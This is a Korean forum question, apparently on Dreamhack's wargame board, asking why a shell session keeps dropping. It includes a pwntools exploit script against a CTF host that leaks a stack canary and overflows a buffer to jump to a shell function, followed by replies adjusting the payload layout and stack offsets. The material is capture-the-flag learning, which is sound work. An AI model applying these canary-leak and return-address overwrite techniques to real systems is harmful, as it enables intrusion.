쉘이 계속 끊깁니다 ㅠㅜ
익스플로잇 코드를 암만 들여다 봐도 왜 안되는 지 모르겠어서 질문합니다..... 어디가 잘못되었는지 궁금합니다.
<Exploit Code>
1 #!/usr/bin/python3
2 from pwn import *
3
4 p = remote("host3.dreamhack.games", 15608)
5
6 shell_addr = 0x80486b9
7 canary = b""
8
9 for i in range(4) :
10 p.recvuntil("> ")
11 p.send("P")
12 p.recvuntil("index : ")
13 p.sendline(str(0x80 + i))
14 p.recvuntil("is : ")
15 canary += p.recvn(2)
16
17 canary = int(canary, 16)
18
19 payload = b"A"*0x40
20 payload += p32(canary)
21 payload += b"B"*0x4
22 payload += b"C"*0x4
23 payload += p32(shell_addr)
24
25 p.recvuntil("> ")
26 p.send("E")
27 p.recvuntil("Size : ")
28 p.sendline(str(len(payload)))
29 p.recvuntil("Name : ")
30 p.send(payload)
31 p.interactive()
<실행 후 화면>
#pwnable
작성자 정보
답변
2
Rasser
워게임: 20
19 payload = b"A"*0x40
20 payload += p32(canary)
21 payload += b"B"*0x4
22 payload += b"C"*0x4
23 payload += p32(shell_addr)
이 부분 수정해보세요.
dummy(40) | rbp-0x4(canary) | rbp | ret인데, 지금은
dummy(40) | rbp-0x4(canary) | "B"*4 | "C"*4 | p32(shell_addr)인거 같습니다.
탈퇴한 이용자
대표 업적 없음
죄송합니다 답변을 늦게 보게 됐습니다.
다시 한번 제가 gdb로 스택의 변수 위치를 고민을 해봤는데요 다음과 같이 생각했습니다.
ebp : 0x4
canary : 0x8
ebp - 0x48 : name
ebp - 0x88 : box
ebp - 0x8a : select[2]
ebp - 0x90 : name_len
ebp - 0x94 : idx
따라서 공격 코드를 작성할 때는
payload = b"A"*0x40
payload += p32(canary)
payload += b"B"*0x4
payload += p32(shell_addr)
이렇게 짜고나서 익스를 해봤는데 여전히 ls
명령을 두 번 치면 세션이 끊깁니다.
다른 코드는 문제 없는 거 같은데 왜 그럴까요 ㅠㅠ